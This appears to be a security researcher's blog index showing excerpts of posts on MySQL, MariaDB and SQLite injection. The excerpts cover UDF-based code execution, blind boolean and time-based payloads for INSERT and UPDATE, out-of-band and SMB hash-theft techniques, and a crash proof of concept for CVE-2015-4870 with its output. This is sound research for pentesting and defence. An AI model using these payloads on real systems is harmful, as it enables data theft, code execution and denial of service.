Alternatives to Extract Tables and Columns from MySQL and MariaDB

Iā€™ve previously published a post on extracting table names when /or/i was filtered which leads to filtering of the word information_schema. I did some more research into this area on my own and found many other tables where you can extract the table names. These are all the databases and tables I found where we can extract table names apart from ā€˜information_schema.tablesā€™. I have tested the following in 5.7.29 MySQL and 10.3.18 MariaDB. There are 39 queries in total.

Sys

These views were added in MySQL 5.7.9.

(more…)

MySQL UDF Exploitation

Overview

In the real world, while I was pentesting a financial institute I came across a scenario where they had an internal intranet and it was using MySQL 5.7 64-bit as the backend database technology. Most of the time the I encounter MSSQL in most cooperate environments, but this was a rare case. I found SQL injection in the web application and I was able to dump the username and password from the mysql.user and I realized it had privileges to write files to disk. This lead me into writing a post and sharing techniques in injecting a UDF library to MySQL and gaining code execution and popping a shell in Windows. When I Googled most techniques are a bit vague when it comes to Windows. So, I thought of writing this post with my own research to clear things and make you understand few tricks you can use to do this manually.

I will be hosting the latest MySQL 5.7.21 latest community server by the time I am blogging this, in one machine. To reproduce the scenario, I am running the mysqld server with ā€˜–secure-file-priv=ā€™ parameter set to blank. In this scenario I was able to retrieve the username and password from the mysql.user table using a union based injection in the intranet. Note that in MySQL 5.7 and above the column ā€˜passwordā€™ doesnā€™t exists. They have changed it to ā€˜authentication_stringā€™.

# MySQL 5.6 and below
select host, user, password from mysql.user;
# MySQL 5.7 and above
select host, user, authentication_string from mysql.user;

Note that you can use the metasploitā€™s mysql_hashdump.rb auxiliary module to dump the MySQL hashes if you already have the credentials. By the time I am writing this blog post the script needed to be updated to extract in MySQL 5.7 you can check my pull request here

The host column for the user ā€˜osandaā€™ allows connections from 192.168.0.*, which means we can use this user for remote connections from that IP range. I cracked password hash and got the plain text password.
(more…)

MySQL Blind Injection in Insert and Update Statements

Iā€™m not going to explain or write about blind injection in general. There are enough resources on the internet where you can learn. You can check my previous post where I have explained in detail about other types of injections in these statements. Since some of you asked me how to perform blind injection I thought of writing this post.

Boolean Based Blind Injection

We can use ā€˜+ā€™ or bitwise OR in this scenario. If the result is true the entry will be updated with a ā€˜1ā€™ and if the result is false the entry will be updated with a ā€˜0ā€™.
Iā€™m using binary search to make the search faster. Mid = (max+min)/2.
However I’m not sure if this is realistic.

update users set username = ā€˜0ā€™ | (substr(user(),1,1) regexp 0x5e5b6d2d7a5d) where id=14;
insert into users values (15,ā€™osandaā€™,'0'| (substr(user(),1,1) regexp 0x5e5b6d2d7a5d));

Time Based Blind Injection

This approach would be realistic. In this case we can use functions such as sleep(), benchmark(). Like before by using ā€˜+ā€™ or bitwise OR we can know if the result is true or false when updated or inserted.

update users set username = '0'|if((substr(user(),1,1) regexp 0x5e5b6d2d7a5d), sleep(5), 1) where id=15;
insert into users values (16,ā€™osandaā€™,'0'| if((substr(user(),1,1) regexp 0x5e5b6d2d7a5d), sleep(5), 1));

Conclusion

The same can be applied to DELETE statements as well, but the injection is not realistic. There are many methods you can follow using the above syntax. You can develop your own tool to automate this process and improve the efficiency of the search.

MySQL Injection in Update, Insert and Delete

Overview

The traditional in-band method in INSERT, UPDATE injections would be by fixing the query. For example in INSERT statements one can simply fix the query, comment out the rest and extract the data once it is echoed out by the application. Same goes with the UPDATE statement, but only if the query has more than one column we can fix the query. What if we face a situation where UPDATE or INSERT has one column or simply we donā€™t know the exact query to fix? What if mysql_error() is not echoed out?
Letā€™s look at the following scenario. For simplicityā€™s sake letā€™s not make things complex. The updated username is also echoed back to us. How can we inject in this scenario?

$query = "UPDATE users SET username = '$username' WHERE id = '$id';";

The parameters are as follows for the update query.

username=test&id=16 

Recently I was researching on different in-band and out-of-band techniques we can apply in these situations.
To understand my technique letā€™s look at how MySQL handles strings. Basically a string is equal to ā€˜0ā€™ in MySQL. Let me prove it.

mysql> select 'osanda' = 0;
+--------------+
| 'osanda' = 0 |
+--------------+
|            1 |
+--------------+

mysql> select !'osanda';
+-----------+
| !'osanda' |
+-----------+
|         1 |
+-----------+

What if we add digits to a string? It would be same as adding a value to 0.

mysql> select 'osanda'+123;
+--------------+
| 'osanda'+123 |
+--------------+
|          123 |
+--------------+

(more…)

MySQL Out-of-Band Hacking

Overview

Out-of-band injections are very well researched when it comes to MSSQL and Oracle. But in MySQL I noticed that this topic is not well researched. I thought of researching about this topic based on my experiences in SQL injections. For this purpose we can take advantage of functions such as load_file() and select ā€¦ into outfile/dumpfile. Apart from that we can also steal NetNTLM hashes and perform SMB relay attacks. All this is possible only in MySQL under Windows.

What is Out-of-Band Injection?

These attacks involve in alternative channels to extract data from the server. It might be HTTP(S) requests, DNS resolutions, file systems, E-mails, etc depending on the functionality of the back-end technology.

Limitations in MySQL

In MySQL there exists a global system variable known as ā€˜secure_file_privā€™. This variable is used to limit the effect of data import and export operations, such as those performed by the LOAD DATA and SELECT … INTO OUTFILE statements and the LOAD_FILE() function.

  • If set to the name of a directory, the server limits import and export operations to work only with files in that directory. The directory must exist, the server will not create it.
  • If the variable is empty it has no effect, thus insecure configuration.
  • If set to NULL, the server disables import and export operations. This value is permitted as of MySQL 5.5.53

Before MySQL 5.5.53 this variable is empty by default, hence allowing us to use these functions. But in the versions after 5.5.53 the value ā€˜NULLā€™ will disable these functions.
To check the value of this variable you can use any of these methods. The ā€˜secure_file_privā€™ is a global variable and itā€™s a read only variable, which means you cannot change this during runtime.

select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like "secure_file_priv"; 

(more…)

Alternative for Information_Schema.Tables in MySQL

Overview

Starting from MySQL 5.5 and above the default storage engine was known as the InnoDB. In MySQL versions 5.5 and above if you do a ā€œselect @@innodb_versionā€ you can see the version of the InnoDB, which is almost same as your MySQL version.
innodb-version

But in MySQL 5.6 and above I noticed 2 new tables by InnoDB. ā€œinnodb_index_statsā€ and ā€œinnodb_table_statsā€. Both these tables contains the database and table names of all the newly created databases and tables.
The MySQL documentation explains these two tables as follows.

The persistent statistics feature relies on the internally managed tables in the mysql database, named innodb_table_stats and innodb_index_stats. These tables are set up automatically in all install, upgrade, and build-from-source procedures.

For injection purposes letā€™s take the ā€œinnodb_table_statsā€ table. Unfortunately InnoDB doesnā€™t store columns.

If you simply do ā€œshow tables in mysqlā€ you can view this from your localhost.
(more…)

Fun with SQLite Load_Extension

What is load_extension?

This interface loads an SQLite extension library from the named file.

[code language=”C”]
int sqlite3_load_extension(
sqlite3 *db, /* Load the extension into this database connection */
const char *zFile, /* Name of the shared library containing extension */
const char *zProc, /* Entry point. Derived from zFile if 0 */
char **pzErrMsg /* Put error message here if not 0 */
);
[/code]

More information: https://www.sqlite.org/c3ref/load_extension.html
You can use this function to load a SQLite extension. However by default sqlite3_enable_load_extension() is turned off by default to prevent this in SQL injection attacks. You can read more from here https://www.sqlite.org/c3ref/enable_load_extension.html
The syntax would be
[code language=”sql”]
select load_extension(ā€˜path\dllā€™, ā€˜EPā€™);
[/code]
However this path, const char *zFile can be a SMB share too.
(more…)

Storing a EXE inside MySQL

It’s possible to store a EXE file inside a MySQL database. You can try this out. For demonstration purposes I’m running MySQL in my localhost. I will be creating a simple database and a table big enough to store the exe file. Since we convert the exe to a hex file the content would be larger than the original exe file. I will be using ‘putty.exe’ as the binary.

[code language=”sql”]
CREATE DATABASE testupload;

USE testupload

CREATE TABLE uploads (
id INT(3) NOT NULL AUTO_INCREMENT,
name VARCHAR(1000000) NOT NULL,
PRIMARY KEY (id)
);
[/code]
(more…)

Unofficial Way of Commenting in MySQL and MariaDB

In MySQL and MariaDB the official methods of commenting would be

The ‘#’ is also known as a “fragment identifier” and is typically used to identify a portion of an HTML document that sits within a fully qualified URL.
When passing ‘#’ inside a URL to the back-end database we can use ‘%23’.
(more…)

MySQL DoS in the Procedure Analyse Function – CVE-2015-4870

This is a crash I found in MySQL versions up to 5.5.45. In the function procedure analyse() I found this crash while passing a sub query.

Syntax:
[code language=”sql”]
SELECT * FROM `table_name` PROCEDURE ANALYSE((SELECT*FROM(SELECT 1)x),1);
[/code]
So an Example POC would be:
[code language=”sql”]
select * from information_schema.tables procedure analyse((select*from(select 1)x),1);
[/code]
[code language=”sql”]
—————————————————————————————————————
mysql> select * from information_schema.tables procedure analyse((select*from(select 1)x),1);
ERROR 2013 (HY000): Lost connection to MySQL server during query
mysql>
mysql> select 1;
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect…
ERROR 2003 (HY000): Can’t connect to MySQL server on ‘localhost’ (10061)
ERROR:
Can’t connect to the server

mysql>
—————————————————————————————————————
[/code]

View post on imgur.com


(more…)